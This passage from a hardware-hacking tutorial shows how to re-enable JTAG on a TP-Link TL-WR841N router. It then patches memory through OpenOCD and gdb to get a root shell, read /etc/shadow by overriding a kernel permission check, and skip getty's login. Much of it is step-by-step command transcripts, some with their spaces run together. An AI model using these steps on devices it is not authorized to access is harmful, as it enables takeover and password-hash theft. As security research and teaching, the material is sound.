In some cases JTAG is disabled by default and multiplexed with another feature, in this case the EPHY LEDs. In order for us to enable it again we need to study the datasheet.
Digging deeper into the datasheet we find that on boot the pin ANT_TRN controls if JTAG should be enabled or disabled, after boot the pin returns to its normal purpose. Default ANT_TRN is set low (0V) enabling EPHY_LED, if we want to enable JTAG we need to pull this pin high (5V) on boot.
Interacting with JTAG
Make sure Tigard switch is set to JTAG mode
Supply 3.3V power from Tigard using the power switch
OpenOCD server is successfully running. Open a new terminal and connect to the server:
$telnetlocalhost4444...OpenOn-ChipDebugger> halttargethaltedinMIPS32modeduetodebug-request,pc:0x80011090## dump 0x20000000 (size) data from memory address 0x80000000 to file mydump.bin> dump_image mydump.bin 0x80000000 0x20000000
Debugging / Exploiting
Patching boot arguments (in memory)
Sometimes the boot arguments are hard-coded in the kernel:
Looking on line 0x020bcc0 and more specifically address 0x020bcc8 we have the hex data 0x324d0000. If we end the boot argument string with <space>1 (0x2031) it will tell the kernel to boot into single user mode, thus bypassing the login screen.
The kernel get loaded into the memory at address 0x80000000, making the interesting address to look on 0x8020bcc8, this is needed later.
To patch/exploit this start by opening three terminals.
## Terminal 1, UART to RouterTL-WR841Nlogin:rootPassword:Loginincorrect
## Terminal 3, Telnet to OpenOCD for patching/exploiting$telnetlocalhost4444...OpenOn-ChipDebugger> halttargetstate:haltedtargethaltedinMIPS32modeduetodebug-request,pc:0x80005f80> halttargetstate:haltedtargethaltedinMIPS32modeduetodebug-request,pc:0x80005f80> halttargetstate:haltedtargethaltedinMIPS32modeduetodebug-request,pc:0x80005f80
NOTE: If the system is reboots (you see this in the 1:st terminal) it's because the system has a watchdog timer and it thinks something went wrong. Just keep halting the system until the rebooting stops.
Commands used
Action
mdw
Memory Display Word - display data on memory address
mww
Memory Write Word - edit data on memory address
wp
Watchpoint - halts when something tries to access memory address
rwp
Remove Watchpoint
## Terminal 3> mdw 0x8020bcc80x8020bcc8:324d0000## Write over the data, set a watchpoint and resume until something writes there> mww 0x8020bcc8 0xffffffff> mdw 0x8020bcc80x8020bcc8:ffffffff> wp 0x8020bcc8 4; resumetargetstate:halted## Remove the watchpoint and step pass it to keep it from halting, and see if something has been written.> rwp 0x8020bcc8; step; mdw0x8020bcc8targetstate:halted0x8020bcc8:32ffffff## 32 has been written, but we're still missing 4d. Set a new watchpoint, resume and repeat the process.> wp 0x8020bcc8 4; resumetargetstate:halted> rwp 0x8020bcc8; step; mdw0x8020bcc8targetstate:halted0x8020bcc8:324d0000## We got the expected value 324d0000, so lets edit the data to patch/exploit the system.> mww 0x8020bcc8 0x324d2031> mdw 0x8020bcc80x8020bcc8:324d2031## (optional) Double check that the data is still there> wp 0x8020bcc8 4; resumetargetstate:halted> mdw 0x8020bcc80x8020bcc8:324d2031## Remove the watchpoint and resume. The system should now boot and give terminal 1 a root shell.> rwp 0x8020bcc8; resume
With an low privileged user we're not able to read files such as /etc/shadow. We can circumvent this by patching the permissions through JTAG directly in the memory, giving us full read access. This is just a simple PoC and can be used in many other similar ways.
## Terminal 1$cat/etc/shadowcat:can't open '/etc/shadow': Permission denied## List all kernel symbols$ cat /proc/kallsyms...## List kernel symbols handling permissions$ cat /proc/kallsyms | grep permission...800a8a38 t generic_permission
## Terminal 2 (JTAG is connected and OpenOCD server is running on another terminal) $gdb-multiarch(gdb) setarchmipsThetargetarchitectureisassumedtobemips(gdb) targetremotelocalhost:3333Remotedebuggingusinglocalhost:3333...0x80011090in?? ()## Look on the instructions at the generic_permission address(gdb) x/70i0x800a8a380x800a8a38:addiusp,sp,-400x800a8a3c:sws2,28(sp) <--preservestatewithsaveword (sw), copy registers to stack0x800a8a40:sws0,20(sp)0x800a8a44:swra,36(sp)0x800a8a48:sws3,32(sp)0x800a8a4c:sws1,24(sp)..0x800a8b2c:liv0,-13<--loadimmediate (li), load value -13 (returncode) into register v00x800a8b30:lwra,36(sp) <--loadword (lw) from stackpointer into register, doing the job.0x800a8b34:lws3,32(sp)0x800a8b38:lws2,28(sp)0x800a8b3c:lws1,24(sp)0x800a8b40:lws0,20(sp)..
NOTE: If you get all 0’s in GDB, the system might not be properly halted.
A call to a function that checks permission will either return a value that grants permission – in this case 0 – or another value that might be an error code – in this case -EACCES (represented as 0xfffffff3 or -13 ). In the example above, this result is stored in the register v0, and then the function returns to the caller.
We can patch/exploit this by putting a breakpoint on this li instruction, and when it tries to deny access by returning -13 or 0xfffffff3, we simply replace the value with 0.
## Terminal 2ProgramStopped.0x800a8b2cin?? ()## Check the value of v0 in the register(gdb) irzeroatv0v1a0a1a2a3R000000000fffffff800000000000000008392d158803020c00000003800000001..## Look on the next 5 instructions at the program counter(gdb) x/5i $pc=> 0x800a8b2c:liv0,-130x800a8b30:lwra,36(sp)0x800a8b34:lws3,32(sp)0x800a8b38:lws2,28(sp)0x800a8b3c:lws1,24(sp)0x800a8b40:lws0,20(sp)## Next thing that will happen is to load the value -13 into v0. Confirm this.(gdb) stepi(gdb) x/5i $pc => 0x800a8b30:lwra,36(sp)0x800a8b34:lws3,32(sp)0x800a8b38:lws2,28(sp)0x800a8b3c:lws1,24(sp)0x800a8b40:lws0,20(sp)0x800a8b44:jrra(gdb) irzeroatv0v1a0a1a2a3R000000000fffffff8fffffff3000000008392d158803020c00000003800000001..## v0 is set to fffffff3, it will deny our request to read /etc/shadow. Lets patch this!(gdb) set $v0=0(gdb) irzeroatv0v1a0a1a2a3R000000000fffffff800000000000000008392d158803020c00000003800000001..(gdb) cContinuing.
The /bin/getty binary handles login to a system. Using the flag -f will force authentication without asking for a password, making it possible to simply login as root using login -f root. In some versions of getty, how they handle this is that they hard-coded -- at the end of the string, invalidating any other flags.
What we can do using JTAG, is to find the bytes -- (2d 2d) and patch it to -f (2d 66) thus being able to bypass the login as any user. But how should we find 1 byte of data in the memory?
One way is to write a script to read 8 bytes of data at offset 0x7c9 and compare to the known signature 00 2d 2d 00 25 73 3a 20. If it's a match we can immediately patch it and hopefully gain access to the system.
## Terminal 2, JTAG is connected and OpenOCD server is running on another terminal./ocd_rpc_getty.py-tyocto-s0x80000000-e0x10000000targetstate:halted0x09dc97c9:0x25002d2d0x63203a73Patching0x09dc97cato0x66
Patch failed, it's possible that there are several copies of getty in memory, or even another bit of memory that contains the same string. Run the script again.